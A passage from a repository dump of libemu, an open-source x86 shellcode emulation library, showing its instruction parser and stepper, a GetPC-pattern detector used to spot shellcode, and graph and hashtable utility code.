c->instr.cpu.modrm.sib.index);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif( c->instr.cpu.modrm.mod == 1 ) /* disp8 */\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tret = emu_memory_read_byte(c->mem, c->eip++, &c->instr.cpu.modrm.disp.s8);\n\t\t\t\n\t\t\t\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\t\t\t\treturn ret;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tc->instr.cpu.modrm.ea += (int8_t)c->instr.cpu.modrm.disp.s8;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if( c->instr.cpu.modrm.mod == 2 || (c->instr.cpu.modrm.mod == 0 && c->instr.cpu.modrm.rm == 5) ) /* disp32 */\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tret = emu_memory_read_dword(c->mem, c->eip, &c->instr.cpu.modrm.disp.s32);\n\t\t\t\t\t\t\t\tc->eip += 4;\n\t\t\t\n\t\t\t\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\t\t\t\treturn ret;\n\t\n\t\t\t\t\t\t\t\tc->instr.cpu.modrm.ea += c->instr.cpu.modrm.disp.s32;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/* */\n\t\t\t\tc->instr.cpu.operand_size = 0;\n\t\t\t\t\n\t\t\t\tif( c->cpu_instr_info->format.imm_data == II_IMM8 || c->cpu_instr_info->format.disp_data == II_DISP8 )\n\t\t\t\t\tc->instr.cpu.operand_size = OPSIZE_8;\n\t\t\t\telse if( c->cpu_instr_info->format.imm_data == II_IMM16 || c->cpu_instr_info->format.disp_data == II_DISP16 )\n\t\t\t\t\tc->instr.cpu.operand_size = OPSIZE_16;\n\t\t\t\telse if( c->cpu_instr_info->format.imm_data == II_IMM32 || c->cpu_instr_info->format.disp_data == II_DISP32 )\n\t\t\t\t\tc->instr.cpu.operand_size = OPSIZE_32;\n\t\t\t\telse if( c->cpu_instr_info->format.imm_data == II_IMM || c->cpu_instr_info->format.disp_data == II_DISPF\n\t\t\t\t\t || (c->cpu_instr_info->format.type && !c->instr.cpu.modrm.opc))\n\t\t\t\t{\n\t\t\t\t\tif( c->cpu_instr_info->format.w_bit == 1 && c->instr.cpu.w_bit == 0 )\n\t\t\t\t\t\tc->instr.cpu.operand_size = OPSIZE_8;\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif( c->instr.cpu.prefixes & PREFIX_OPSIZE )\n\t\t\t\t\t\t\tc->instr.cpu.operand_size = OPSIZE_16;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tc->instr.cpu.operand_size = OPSIZE_32;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/* imm */\n\t\t\t\tif( c->cpu_instr_info->format.imm_data != 0 || (c->cpu_instr_info->format.type && !c->instr.cpu.modrm.opc))\n\t\t\t\t{\n\t\t\t\t\tif( c->instr.cpu.operand_size == OPSIZE_32 )\n\t\t\t\t\t{\n\t\t\t\t\t\tret = emu_memory_read_dword(c->mem, c->eip, &c->instr.cpu.imm);\n\t\t\t\t\t\tc->eip += 4;\n\t\t\t\t\t}\n\t\t\t\t\telse if( c->instr.cpu.operand_size == OPSIZE_8 )\n\t\t\t\t\t{\n\t\t\t\t\t\tret = emu_memory_read_byte(c->mem, c->eip++, c->instr.cpu.imm8);\n\t\t\t\t\t}\n\t\t\t\t\telse if( c->instr.cpu.operand_size == OPSIZE_16 )\n\t\t\t\t\t{\n\t\t\t\t\t\tret = emu_memory_read_word(c->mem, c->eip, c->instr.cpu.imm16);\n\t\t\t\t\t\tc->eip += 2;\n\t\t\t\t\t}\n\t\n\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\treturn ret;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/* disp */\n\t\t\t\tif( c->cpu_instr_info->format.disp_data != 0 )\n\t\t\t\t{\n\t\t\t\t\tif( c->instr.cpu.operand_size == OPSIZE_32 )\n\t\t\t\t\t{\n\t\t\t\t\t\tuint32_t disp32;\n\t\t\t\t\t\tret = emu_memory_read_dword(c->mem, c->eip, &disp32);\n\t\t\t\t\t\tc->instr.cpu.disp = (int32_t)disp32;\n\t\t\t\t\t\tc->eip += 4;\n\t\t\t\t\t}\n\t\t\t\t\telse if( c->instr.cpu.operand_size == OPSIZE_16 )\n\t\t\t\t\t{\n\t\t\t\t\t\tuint16_t disp16;\n\t\t\t\t\t\tret = emu_memory_read_word(c->mem, c->eip, &disp16);\n\t\t\t\t\t\tc->instr.cpu.disp = (int16_t)disp16;\n\t\t\t\t\t\tc->eip += 2;\n\t\t\t\t\t}\n\t\t\t\t\telse if( c->instr.cpu.operand_size == OPSIZE_8 )\n\t\t\t\t\t{\n\t\t\t\t\t\tuint8_t disp8;\n\t\t\t\t\t\tret = emu_memory_read_byte(c->mem, c->eip++, &disp8);\n\t\t\t\t\t\tc->instr.cpu.disp = (int8_t)disp8;\n\t\t\t\t\t}\n\t\n\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\treturn ret;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/* TODO level type ... */\n\t\t\t}\n\t\t\telse /* fpu */\n\t\t\t{\n\t\t\t\t/* this is a minimal parser without exact decomposition\n\t\t\t\t * into all fields. instead it determines the length of\n\t\t\t\t * the instruction and ignores pretty much everything else\n\t\t\t\t * except for a few explicitly implemented instructions. */\n\t\t\t\tc->instr.is_fpu = 1;\n\t\t\t\tc->instr.fpu.prefixes = c->instr.prefixes;\n\n\t\t\t\tc->instr.fpu.fpu_data[0] = c->instr.opc;\n\n\t\t\t\tret = emu_memory_read_byte(c->mem, c->eip++, &c->instr.fpu.fpu_data[1]);\n\t\t\t\tif( ret != 0 )\n\t\t\t\t\treturn ret;\n\t\t\t\t\n\t\t\t\tif( FPU_MOD(c->instr.fpu.fpu_data) != 3 ) /* intel pdf page 36 */\n\t\t\t\t{\n\t\t\t\t\t/* trivial case, one register is ea */\n\t\t   \t\t\tif( FPU_RM(c->instr.fpu.fpu_data) != 4 && !(FPU_MOD(c->instr.fpu.fpu_data) == 0 && FPU_RM(c->instr.fpu.fpu_data) == 5) )\n\t\t\t\t\t\tc->instr.fpu.ea = c->reg[FPU_RM(c->instr.fpu.fpu_data)];\n\t\t\t\t\telse\n\t\t\t\t\t\tc->instr.fpu.ea = 0;\n\t\t\t\t\t\n\t\t\t\t\t/* sib byte */\n\t\t\t\t\tif( FPU_RM(c->instr.fpu.fpu_data) == 4 )\n\t\t\t\t\t{\n\t\t\t\t\t\tret = emu_memory_read_byte(c->mem, c->eip++, &byte);\n\t\t\t\n\t\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\t\treturn ret;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( SIB_BASE(byte) != 5 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tc->instr.fpu.ea += c->reg[SIB_BASE(byte)];\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if( FPU_MOD(c->instr.fpu.fpu_data) != 0 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tc->instr.fpu.ea += c->reg[ebp];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif( SIB_INDEX(byte) != 4 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tc->instr.fpu.ea += c->reg[SIB_INDEX(byte)] * scalem[SIB_SCALE(byte)];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t/* modrm */\n\t\t\t\t\tif( FPU_MOD(c->instr.fpu.fpu_data) == 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\tret = emu_memory_read_byte(c->mem, c->eip++, &byte);\n\n\t\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\t\treturn ret;\n\t\t\t\t\t\t\n\t\t\t\t\t\tc->instr.fpu.ea += (int8_t)byte;\n\t\t\t\t\t}\n\t\t\t\t\telse if( FPU_MOD(c->instr.fpu.fpu_data) == 2 || (FPU_MOD(c->instr.fpu.fpu_data) == 0 && FPU_RM(c->instr.fpu.fpu_data) == 5) ) \n\t\t\t\t\t{\n\t\t\t\t\t\tuint32_t dword;\n\t\t\t\t\t\tret = emu_memory_read_dword(c->mem, c->eip, &dword);\n\t\t\t\t\t\tc->eip += 4;\n\n\t\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\t\treturn ret;\n\n\t\t\t\t\t\tc->instr.fpu.ea += dword;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*c->instr.fpu.last_instr = c->last_fpu_instr;*/\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tc->last_fpu_instr[1] = c->last_fpu_instr[0]; \n\t\t\t\tc->last_fpu_instr[0] = eip_before;\n\t\t\t}\n\t\t\t\n//\t\t\tlogDebug(c->emu,\"\\n\");\n\n\t\t\teip_after = c->eip;\n\t\t\tif ( CPU_DEBUG_FLAG_ISSET(c, instruction_size ) && eip_after - eip_before != expected_instr_size)\n\t\t\t{\n\t\t\t\tlogDebug(c->emu, \"broken instr.cpu size %i %i\\n\",\n\t\t\t\t\t   eip_after - eip_before,\n\t\t\t\t\t   expected_instr_size);\n\t\t\t\treturn -1;\n\t\t\t}\n\n\n\t\t\t/* the default normal position is behind the instruction, specific instructions as call jmp set their\n\t\t\t * norm position \n\t\t\t */\n\t\t\tif ( c->instr.is_fpu == 0 )\n\t\t\t{\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t}\n\n\n\t\t\tbreak;\n\t\t}\n\t}\n\t\n\treturn 0;\n}\n\nint32_t emu_cpu_step(struct emu_cpu *c)\n{\n\tint32_t ret = 0;\n\n\t/* call the function */\n\tif( c->instr.is_fpu == 0 )\n\t{\n\t\tif( c->instr.cpu.prefixes & PREFIX_FS_OVR )\n\t\t{\n\t\t\temu_memory_segment_select(c->mem, s_fs);\n\t\t}\n\n\t\tret = c->cpu_instr_info->function(c, &c->instr.cpu);\n\n\t\tif( c->instr.cpu.prefixes & PREFIX_FS_OVR )\n\t\t{\n\t\t\temu_memory_segment_select(c->mem, s_cs);\n\t\t}\n\t}\n\telse\n\t{\n\t\t/* for now we only support three critical instructions. */\n\t\tif( c->instr.fpu.fpu_data[0] == 0xd9 )\n\t\t{\n\t\t\tif( (c->instr.fpu.fpu_data[1] & 0x38) == 0x30 )\n\t\t\t{\n\t\t\t\t/* fnstenv volume 1, page 230 */\n\t\t\t\tstatic int null = 0;\n\t\t\t\tMEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x00, null);\n\t\t\t\tMEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x04, null);\n\t\t\t\tMEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x08, null);\n\t\t\t\tMEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x0c, c->last_fpu_instr[1]);\n\t\t\t\tMEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x10, null);\n\t\t\t\tMEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x14, null);\n\t\t\t\tMEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x18, null);\n\n\t\t\t\tTRACK_NEED_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION);\n//\t\t\t\tTRACK_INIT_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION);\n\t\t\t}\n\t\t\telse if( c->instr.fpu.fpu_data[1] == 0xee )\n\t\t\t{\n\t\t\t\t/* fldz */\n\t\t\t\tTRACK_INIT_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION);\n\t\t\t}\n\t\t\telse\n\t\t\t{ // catch all others to init fpu\n\t\t\t\tTRACK_INIT_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION);\n\t\t\t}\n\n\t\t}\n\t\telse if( c->instr.fpu.fpu_data[0] == 0xdd )\n\t\t{\n\t\t\tif( (c->instr.fpu.fpu_data[1] & 0xf8) == 0xc0 )\n\t\t\t{\n\t\t\t\t/* ffree */\n\t\t\t\tTRACK_INIT_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION);\n\t\t\t}\n\t\t}\n\t}\n\n\n\tif (0)\n\t\tdebug_instruction(&c->instr);\n//\temu_cpu_debug_print(c);\n\n\treturn ret;\n}\n\nint32_t emu_cpu_run(struct emu_cpu *c)\n{\n\tint steps=0;\n\twhile (emu_cpu_parse(c) == 0)\n\t{\n//\t\tprintf(\"%s \\n\", c->instr_string);\n\n\t\tif ( emu_cpu_step(c) != 0 )\n\t\t\tbreak;\n\n\t\tsteps++;\n\t}\n//\tprintf(\"%s \\n\", emu_strerror(c->emu));\n\treturn steps;\n}\n\nvoid emu_cpu_debugflag_set(struct emu_cpu *c, uint8_t flag)\n{\n\tCPU_DEBUG_FLAG_SET(c, flag);\n}\n\nvoid emu_cpu_debugflag_unset(struct emu_cpu *c, uint8_t flag)\n{\n\tCPU_DEBUG_FLAG_UNSET(c, flag);\t\n}\n\n"
  },
  {
    "path": "src/emu_cpu_data.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include \"emu/emu_cpu_data.h\"\n\n\n/**\n * int type min/max for signed/unsigned int to 32bits size \n *  \n * access is \n * max_inittype_border[bits/8][signed|unsigned][min|max] \n *  \n * where signed/min is 0 \n * and unsigned/max is 1 \n */\nint64_t max_inttype_borders[][2][2] =                                            \n{                                                                          \n\t{                                                                      \n\t\t{0, 0},                                                             \n\t\t{0, 0},                                                             \n\t},                                                                     \n\t{                                                                      \n\t\t{MIN_INT8, MAX_INT8},                                              \n\t\t{MIN_UINT8, MAX_UINT8},                                            \n\t},                                                                     \n\t{                                                                      \n\t\t{MIN_INT16, MAX_INT16},                                            \n\t\t{MIN_UINT16, MAX_UINT16},                                          \n\t},                                                                     \n\t{                                                                      \n\t\t{0, 0},                                                             \n\t\t{0, 0},                                                             \n\t},                                                                     \n\t{                                                                      \n\t\t{MIN_INT32, MAX_INT32},                                            \n\t\t{MIN_UINT32, MAX_UINT32},                                          \n\t}                                                                      \n};                                                                          \n\n"
  },
  {
    "path": "src/emu_getpc.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n\n\n#include <stdlib.h>\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_getpc.h\"\n#include \"emu/emu_cpu_instruction.h\"\n\n\n#define        MIN(a,b) (((a)<(b))?(a):(b))\n#define        MAX(a,b) (((a)>(b))?(a):(b))\n\n\nuint8_t emu_getpc_check(struct emu *e, uint8_t *data, uint32_t size, uint32_t offset)\n{\n\tstruct emu_cpu *c = emu_cpu_get(e);\n\tstruct emu_memory *m = emu_memory_get(e);\n\n\n//\tuint32_t offset;\n//\tfor (offset=0; offset<size;offset++)\n//\t{\n\n\tint reg;\n\tfor (reg=0; reg<8; reg++)\n\t{\n\t\temu_cpu_reg32_set(c, reg, 0);\n\t}\n\n\temu_cpu_reg32_set(c, esp, 0x12000);\n\n\n\tswitch (data[offset])\n\t{\n\t/* call */\n\tcase 0xe8:\n//\t\temu_memory_write_block(m, 0x1000, data+offset, MIN(size-offset, 6));\n\t\temu_memory_write_block(m, 0x1000, data, size);\n\t\temu_cpu_eip_set(c, 0x1000+offset);\n\n\n\t\tif ( emu_cpu_parse(c) != 0)\n\t\t\tbreak;\n/*\t\t\n\t\tprintf(\"data %p size %x offset %x disp %x\\n\", data, size, offset, c->instr.cpu.disp);\n\t\tprintf(\"data + offset + disp %p <-> %p data + size\\n\",  (data + offset + c->instr.cpu.disp), data+size);\n\t\tprintf(\"data + offset + disp %p <-> %p data \\n\",  (data + offset + c->instr.cpu.disp), data);\n*/\n\t\t\n\t\tif (abs(c->instr.cpu.disp) > 512)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\n\t\tuint32_t espcopy = emu_cpu_reg32_get(c, esp);\n\t\tint j;\n\t\tfor (j=0;j<64;j++)\n\t\t{\n\t\t\tint ret = emu_cpu_parse(emu_cpu_get(e));\n\n\t\t\tif (ret != -1)\n\t\t\t{\n\t\t\t\tret = emu_cpu_step(emu_cpu_get(e));\n\t\t\t}\n\n\t\t\tif ( ret == -1 )\n\t\t\t{\n//\t\t\t\tprintf(\"cpu error %s\\n\", emu_strerror(e));\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif (emu_cpu_reg32_get(c, esp) == espcopy) // eip pushed by call is popped\n\t\t\t\treturn 1;\n\t\t}\n\n\t\treturn 1;\n\t\tbreak;\n\n\t\t/* fnstenv */\n\tcase 0xd9:\n\t\temu_memory_write_block(m, 0x1000, data+offset, MIN(size-offset, 64));\n\t\temu_cpu_eip_set(c, 0x1000);\n\n\t\tif ( emu_cpu_parse(c) != 0 )\n\t\t\tbreak;\n\n\t\tif ( (c->instr.fpu.fpu_data[1] & 0x38) != 0x30 )\n\t\t\tbreak;\n\n\t\tif ( c->instr.fpu.ea == emu_cpu_reg32_get(c, esp) - 0xc )\n\t\t{\n//\t\t\tprintf(\"found fnstenv with ea = esp - 0xc\\n\");\n\t\t\treturn 1;\n\t\t}\n\n\t\t/* FIXME THE CODE HERE IS CRAP */\n/*\t\tespcopy = emu_cpu_reg32_get(c, esp);\n\t\tfor (j=0;j<64;j++)\n\t\t{\n\t\t\tint ret = emu_cpu_parse(emu_cpu_get(e));\n\n\t\t\tif (ret != -1)\n\t\t\t{\n\t\t\t\tret = emu_cpu_step(emu_cpu_get(e));\n\t\t\t}\n\n\t\t\tif ( ret == -1 )\n\t\t\t{\n\t\t\t\tprintf(\"cpu error %s\\n\", emu_strerror(e));\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tfor (reg=0; reg<8; reg++)\n\t\t\t{\n\t\t\t\tif (reg != 4 && emu_cpu_reg32_get(c, reg) == espcopy + 4) // eip written by fnstenv\n\t\t\t\t\treturn 1;\n\t\t\t}\n\t\t}\n*/\n\t\tbreak;\n/*\n\tcase 0x64: // fs: prefix\n\t\tif ( data[offset+1] == 0x8b )\n\t\t{\n\t\t\temu_memory_write_block(m, 0x1000, data+offset, MIN(size-offset, 64));\n\t\t\temu_cpu_eip_set(c, 0x1000);\n\n\t\t\tif ( emu_cpu_parse(c) != 0 )\n\t\t\t\tbreak;\n\n\t\t\treturn 2;\n\t\t}\n\t\tbreak;\n*/\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/emu_graph.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n\n\n#include \"emu/emu_graph.h\"\n#include \"emu/emu_queue.h\"\n\n\nsource_list_functions(emu_vertexes,emu_vertex_root, emu_vertex, link);\n\nsource_list_functions(emu_edges,emu_edge_root, emu_edge, link);\n\n\nstruct emu_edge *emu_edge_new(void)\n{\n\tstruct emu_edge *ee = (struct emu_edge *)malloc(sizeof(struct emu_edge));\n\tif( ee == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(ee, 0, sizeof(struct emu_edge));\n\temu_edges_init_link(ee);\n\treturn ee;\n}\n\nvoid emu_edge_free(struct emu_edge *ee)\n{\n\tfree(ee);\n}\n\n\nstruct emu_vertex *emu_vertex_new(void)\n{\n\tstruct emu_vertex *ev = (struct emu_vertex *)malloc(sizeof(struct emu_vertex));\n\tif( ev == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(ev, 0, sizeof(struct emu_vertex));\n\tev->edges = emu_edges_create();\n\tev->backedges = emu_edges_create();\n\treturn ev;\n}\n\nvoid emu_vertex_free(struct emu_vertex *ev)\n{\n\t// FIXME\n}\n\nvoid emu_vertex_data_set(struct emu_vertex *ev, void *data)\n{\n\tev->data = data;\n}\n\nvoid *emu_vertex_data_get(struct emu_vertex *ev)\n{\n\treturn ev->data;\n}\n\n\nstruct emu_edge *emu_vertex_edge_add(struct emu_vertex *ev, struct emu_vertex *to)\n{\n\n\tstruct emu_edge *ee;\n\tfor (ee = emu_edges_first(ev->edges); !emu_edges_istail(ee); ee = emu_edges_next(ee))\n\t{\n\t\tif (ee->destination == to)\n\t\t{\n\t\t\tee->count++;\n\t\t\treturn ee;\n\t\t}\n\t}\n\n\tee = emu_edge_new();\n\tee->destination = to;\n\tee->count++;\n\tto->backlinks++;\n\temu_edges_insert_last(ev->edges, ee);\n\n\tstruct emu_edge *bee;\n\tint8_t has_edge = 0;\n\tfor (bee = emu_edges_first(to->backedges); !emu_edges_istail(bee); bee = emu_edges_next(bee))\n\t{\n\t\tif (bee->destination == ev)\n\t\t{\n\t\t\thas_edge = 1;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (has_edge == 0)\n\t{\n\t\tbee = emu_edge_new();\n\t\tbee->destination = ev;\n\t\tbee->count++;\n\t\temu_edges_insert_last(to->backedges, bee);\n\t}\n\n\treturn ee;\n}\n\nstruct emu_graph *emu_graph_new(void)\n{\n\tstruct emu_graph *eg = (struct emu_graph *)malloc(sizeof(struct emu_graph));\n\tif( eg == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(eg, 0, sizeof(struct emu_graph));\n\teg->vertexes = emu_vertexes_create();\n\treturn eg;\n\n}\n\nvoid emu_graph_free(struct emu_graph *eg)\n{\n\tstruct emu_vertex *ev;\n\tfor ( ev = emu_vertexes_first(eg->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) )\n\t{\n\t\tif (eg->vertex_destructor != NULL)\n        \teg->vertex_destructor(ev->data);\n\t\temu_edges_destroy(ev->edges);\n\t\temu_edges_destroy(ev->backedges);\n\t}\n\temu_vertexes_destroy(eg->vertexes);\n\tfree(eg);\n}\n\nvoid emu_graph_vertex_add(struct emu_graph *eg, struct emu_vertex *ev)\n{\n\temu_vertexes_insert_last(eg->vertexes, ev);\n}\n\n\n\nbool emu_graph_path_exists(struct emu_graph *eg, struct emu_vertex *from, struct emu_vertex *to)\n{\n\tstruct emu_vertex *it;\n\tstruct emu_vertex *ev;\n\tfor ( it = emu_vertexes_first(eg->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) )\n\t{\n\t\tit->color = white;\n\t\tit->distance = 0;\n\t}\n\n\tit = from;\n\n\tstruct emu_queue *eq = emu_queue_new();\n\n\temu_queue_enqueue(eq, from);\n\n\twhile ( emu_queue_empty(eq) == false )\n\t{\n\t\tev = (struct emu_vertex *)emu_queue_dequeue(eq);\n\n\t\tif ( ev == to )\n\t\t{\n\t\t\temu_queue_free(eq);\n\t\t\treturn true;\n\t\t}\n\n\n\t\tstruct emu_edge *ee;\n\t\tfor ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) )\n\t\t{\n\t\t\tif ( ee->destination->color != white )\n\t\t\t\tcontinue;\n\n\t\t\tee->destination->distance = ev->distance + 1;\n\t\t\tee->destination->color = grey;\n\t\t\temu_queue_enqueue(eq, ee->destination);\n\t\t}\n\n\t\tev->color = black;\n\t}\n\n\temu_queue_free(eq);\n\n\treturn false;\n}\n\n/*\n#include <stdio.h>\n#include \"emu/emu_track.h\"\n*/\n\nbool emu_graph_loop_detect(struct emu_graph *eg, struct emu_vertex *from)\n{\n\tstruct emu_vertex *it;\n\tstruct emu_vertex *ev;\n\tfor ( it = emu_vertexes_first(eg->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) )\n\t\tit->color = white;\n\n\tit = from;\n\n\tstruct emu_queue *eq = emu_queue_new();\n\n\temu_queue_enqueue(eq, from);\n\n\twhile ( emu_queue_empty(eq) == false )\n\t{\n\t\tev = (struct emu_vertex *)emu_queue_dequeue(eq);\n\n\t\tstruct emu_edge *ee;\n\t\tfor ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) )\n\t\t{\n\t\t\tif ( ee->destination->color != white )\n\t\t\t\tcontinue;\n\n\t\t\tee->destination->color = grey;\n\t\t\temu_queue_enqueue(eq, ee->destination);\n\t\t}\n\n\t\tev->color = black;\n\t}\n\n\tfor ( it = emu_vertexes_first(eg->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) )\n\t{\n//\t\tprintf(\"%08x \\n\\tcolor %i\\n\\tedges %i\\n\\tpath %i\\n\",((struct emu_source_and_track_instr_info *)it->data)->eip, it->color, emu_edges_length(it->edges), (int)emu_graph_path_exists(eg, from, it));\n\n\t\tif (it->color == white)\n\t\t\tcontinue;\n\n//\t\tif (emu_edges_length(it->edges) < 2)\n//\t\t\tcontinue;\n\n/*\n\t\tif (emu_graph_path_exists(eg, from, it) == false)\n\t\t\tcontinue;\n*/\n\n/*\n\t\tprintf(\"%08x => %08x\\n\", ((struct emu_source_and_track_instr_info *)from->data)->eip, \n\t\t\t   ((struct emu_source_and_track_instr_info *)it->data)->eip); \n*/\n\t\temu_queue_enqueue(eq, it);\n\t}\n\n\twhile ( emu_queue_empty(eq) == false )\n\t{\n\t\tev = (struct emu_vertex *)emu_queue_dequeue(eq);\n\n\t\tstruct emu_edge *ee;\n\t\tfor ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) )\n\t\t{\n\t\t\tif ( emu_graph_path_exists(eg, ee->destination, ev) == true )\n\t\t\t{\n\t\t\t\temu_queue_free(eq);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\n\temu_queue_free(eq);\n\n\treturn false;\n}\n\nint32_t emu_graph_distance(struct emu_graph *eg, struct emu_vertex *from, struct emu_vertex *to)\n{\n\tif ( emu_graph_path_exists(eg, from, to) == false )\n\t\treturn -1;\n\n\treturn to->distance;\n}\n"
  },
  {
    "path": "src/emu_hashtable.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <string.h>\n\n#include \"emu/emu_hashtable.h\"\n\n\n\nsource_list_functions(emu_hashtable_bucket_items,emu_hashtable_bucket_item_root, emu_hashtable_bucket_item, link);\n\n\n\n\nstruct emu_hashtable *emu_hashtable_new(uint32_t size, \n\t\t\t\t\t\t\t\t\t\t\t   emu_hashtable_hash_cb hash, \n\t\t\t\t\t\t\t\t\t\t\t   emu_hashtable_cmp_cb cmp)\n{\n\t\n\tstruct emu_hashtable *eh = (struct emu_hashtable *)malloc(sizeof(struct emu_hashtable));\n\tif( eh == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(eh, 0, sizeof(struct emu_hashtable));\n\n\teh->size = size;\n\teh->hash = hash;\n\teh->cmp = cmp;\n\n\teh->buckets = (struct emu_hashtable_bucket **) 